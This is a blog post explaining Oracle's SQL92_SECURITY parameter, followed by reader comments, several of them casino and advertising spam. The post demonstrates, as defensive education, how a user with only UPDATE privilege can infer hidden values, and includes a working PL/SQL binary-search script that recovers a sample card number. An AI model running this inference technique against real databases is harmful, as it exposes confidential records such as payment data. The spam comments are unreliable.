Saturday 20 February 2010


The Oracle database initialization parameter SQL92_SECURITY is an often overlooked security parameter. Either because people don't understand it or because they think it's irrelevant.

So what does it do? Well, to quote the documentation:

"The SQL92 standards specify that security administrators should be able to require that users have SELECT privilege on a table when executing an UPDATE or DELETE statement that references table column values in a WHERE or SET clause. SQL92_SECURITY specifies whether users must have been granted the SELECT object privilege in order to execute such UPDATE or DELETE statements."

At this point most DBAs shrug and ignore it or make a comment like "Oh that doesn't affect us". But how do they know?

First you need to understand the risk, then you need to verify that it doesn't affect your site, which isn't that easy believe me.

So what's the risk? If a user has update or delete privileges on a table but not select, they can still determine the contents of the table by performing an update/delete on the table by using the where clause and rolling back the change.

For example:

SQL> delete from emp where salary > 100000;

2 rows updated

SQL> rollback;

Rollback complete

Okay so from that we can determine that two employees are paid over 100,000. We can continue in his fashion, trying different where clauses and eventually work out the exact figure of the highest earner and even all the exact figures of all the salaries in the table. It just takes a little patience. The fact that it would take so long to determine the value of a column is the main reason why most people tend to dismiss this risk.

However as with all monotonous tasks these things can be automated. I wrote a demonstration for our database security workshop. It goes something like this:

Firstly, we'll need an application schema with a couple of tables. How about a customer table and a payment card table:

SQL> show user
SQL> create user appowner identified by appowner
2 quota unlimited on users;

User created.

SQL> alter user appowner quota unlimited on users;

User altered.

SQL> create table appowner.customers
2 ( customer_id number(8)
3 , first_name varchar2(40)
4 , surname varchar2(40)
5 , address_line1 varchar2(40)
6 , address_line2 varchar2(40)
7 , city varchar2(40)
8 , post_code varchar2(12))
9 tablespace users;

Table created.

SQL> create table appowner.payment_cards
2 ( customer_id number(8)
3 , card_issuer varchar2(30)
4 , card_type varchar2(8)
5 , card_holder varchar2(30)
6 , card_number number(16)
7 , valid_from number(4)
8 , valid_to number(4)
9 , issue_number number(2)
10 , ccv number(3))
11 tablespace users;

Table created.

SQL> insert into appowner.customers
2 values
3 (1,'Joe','Smith','123 Northumperland Ave',NULL,'London','WC2N 5EA');

1 row created.

SQL> insert into appowner.customers
2 values
3 (2,'John','Dennis','12 Bennett Street',NULL,'Manchester','M12 5ND');

1 row created.

SQL> insert into appowner.payment_cards
2 values
3 (1,'ACME','MC','MR JOE SMITH',7337548484843212,NULL,1109,NULL,954);

1 row created.

SQL> insert into appowner.payment_cards
2 values
3 (2,'HSBC','VISA','MR JOHN DENNIS',8200455615154434,NULL,1012,NULL,221);

1 row created.

Then we'll need an application user:

SQL> create user appuser identified by appuser;

User created.

SQL> grant create session to appuser;

Grant succeeded.

Now we just need to give our user privileges on the tables. In this example we're going to give our user full privileges on the customer table but only update on the payment card table.

SQL> grant select, insert, update, delete on appowner.customers to public;

Grant succeeded.

SQL> grant update on appowner.payment_cards to public;

Grant succeeded.

Okay here we go.... From the APPUSER account we can query the customer table and pick a customer. We can describe the payment card table and see that it has a customer_id column (which we can assume is the foreign key). But the one we really want to know is the card number column. But first let's verify that there is a record in the payment_cards table for our customer.

SQL> connect appowner/appowner
SQL> select customer_id, first_name, surname from appowner.customers;

----------- ----------------------------------------
1 Joe

2 John

2 rows selected.

SQL> select * from appowner.payment_cards where customer_id=2;
select * from appowner.payment_cards where customer_id=2
ERROR at line 1:
ORA-01031: insufficient privileges

SQL> update appowner.payment_cards
2 set ccv=ccv
3 where customer_id=2;

1 row updated.

SQL> rollback;

Rollback complete.

Okay I know I didn't really need to do the rollback but it's a good habit to get into when playing with this stuff. ;-)

Right now the fun bit... to try and determine the payment card number. Theoretically the quickest way is a binary chop.

SQL> set serveroutput on size 1000000
SQL> set timing on
SQL> declare
2 c_customer_id constant integer := 2; -- Hardcoded CUSTOMER_ID
3 v_max number(16) := 9999999999999999;
4 v_min number(16) := 0;
5 v_test number(16) := null;
6 begin
7 while v_min != v_max
8 loop
9 -- Uncomment if you want to see it in action
10 --dbms_output.put_line(v_min||'-'||v_max);
11 --
12 v_test := floor(((v_max - v_min)/2)+v_min);
13 --
14 update appowner.payment_cards
15 set card_number = card_number
16 where customer_id = c_customer_id
17 and card_number <= v_test;
18 --
19 if sql%rowcount = 0
20 then
21 v_min := v_test+1;
22 else
23 v_max := v_test;
24 end if;
25 end loop;
26 --
27 dbms_output.put_line(' Customer ID: '||c_customer_id);
28 dbms_output.put_line('Payment card: '||v_min);
29 --
30 end;
31 /
Customer ID: 2
Payment card: 8200455615154434

PL/SQL procedure successfully completed.

Elapsed: 00:00:00.02


What amazed me was just how quick it was, less than a second to determine a 16 digit number. Of course we can do the same with the other columns and in fact with a little time we could probably automate the whole thing... Identify the primary key, isolate each record one at a time and then, column by column, determine the values. In fact who says someone hasn't already written the code to do it. :-p

My example probably isn't very realistic. But I do see this on customer sites, normally it's involving the SYS.AUD$ table where they have a batch job for clearing down the audit trail.

As I mentioned at the beginning, apart from not understanding the risk, the other reason this issue is often overlooked is that it's a fairly rare occurrence. That is, it's not often that a user has update or delete privileges but not select and therefore most DBAs dismiss it. And you can understand it. But if they're so confident that there are no users with update/delete but no select privileges on any tables then why not set SQL92_SECURITY to TRUE? The reason is that it's actually quite hard to prove.

You may be thinking, "It's simple! A quick query against DBA_TAB_PRIVS with a NOT EXISTS or a MINUS and Robert is your father's brother". But you're forgetting database roles and system privileges. Fortunately I wrote some code at work to drill down through all the nested roles and check for users with this unusual set of privileges.

It's available for download from Pentest's Downloads page it's called sql92_security_chk.sql and sql92_security_chk_11g.sql. ( The reason for the two version is that for performance reasons I used the underlying data dictionary tables as against the human readable views. Unfortunately Oracle changed one of the tables in 11g.)

So no excuses, run the query on your database, if it comes back with nothing then go ahead and set SQL92_SECURITY to TRUE. However if it comes back with something; you need to be asking yourself if these users require these update/delete privileges. Or of course it may highlight cases where users are lacking required SELECT privileges.

I have to say, I'm really surprised that Oracle haven't made this TRUE by default. They've made some really good progress over the last couple of releases to make the database more secure out of the box. And this is one of those parameters where if it did default to TRUE most people would just accept it. So come on Oracle, sort it out! I'm expecting the next release to have this resolved. ;-)


  1. Hi Simon,

    Nice post; Over the years I have found some slight issues with this parameter and the consequences of enabling it, in that its sometimes more complex because access to a table is shared across a base table and any number of views sitting above it.

    I posted some comments on my blog about these here as its too big with screen dumps to inflict on your comments .:-) Its here: -



  2. With traditional storage methods, it was difficult for companies to analyze their databases, requiring well-trained specialists. The larger the company, the longer it would take. With the data room, you have the tools you need to sort through data quickly and smoothly.

  3. Okay so from that we can determine that two employees are paid over 100,000. We can continue in his fashion, trying different where clauses and eventually work out the exact figure of the highest earner and even all the exact figures of all the salaries in the table. It just takes a little patience. The fact that it would take so long to determine the value of a column is the main reason why most people tend to dismiss this risk.
    Investment research outsourcing

  4. Are the sql92_security_chk.sql/ sql92_security_chk_11g.sql scripts still available somewhere? They no longer seem to be on the Pentest site.

  5. Oracle VM Manager is a stand-alone management console used to manage its servers. It also provides management capabilities at the server, server pool and server pool resources layers. It is distributed in three formats:
    salesforce custom dashboard

  6. sql92_security_chk.sql is not available. Is the code available somewhere else or not available at all? Thanks!

  7. Efficiently written information. It will be profitable to anybody who utilizes it, counting me. Keep up the good work. For certain I will review out more posts day in and day out. Integriti Access Control Melbourne

  8. Here at Midrepro, we pride ourselves on offering an excellent level of customer service and we always ensure that our service is always prompt and efficient. Midrepro only employs qualified engineers and we always operate to recognised service standards to maintain quality standards – so you know you’re in safe hands.

  9. I need someone to write my research paper for me - by ... The organizational method of Who wants to write my essay activities that are to ... the moment of every item in another team

  10. This is such a great resource that you are providing and you give it away for free. I love seeing blog that understand the value. I am glad to have found this post as its such an interesting one! I am always on the lookout for quality posts and articles so i suppose. I am lucky to have found this! I hope you will be adding more in the future.

  11. Security is the major problem for the most of the sectors. Mainly online streaming business affected by lot of breaches. That's why they need a OTT solution to make the platform more secure with DRM

  12. If you are waiting for the right time to start a video learning platforms, this is the time!

  13. A FREE $10 Matched Bet on soccer, matchpoint, - StillCasino
    I would like to know that some people ボンズ カジノ will 제왕카지노 like matchpoint It is a no-brainer that they matchpoint would prefer the match points (i.e. match points of at least 50% or

  14. What are the best casinos to play in 2021?
    Which casinos offer slots? — Casino Sites. Best casino 바카라 사이트 sites are those that allow players to try a game from anywhere. The most common online slots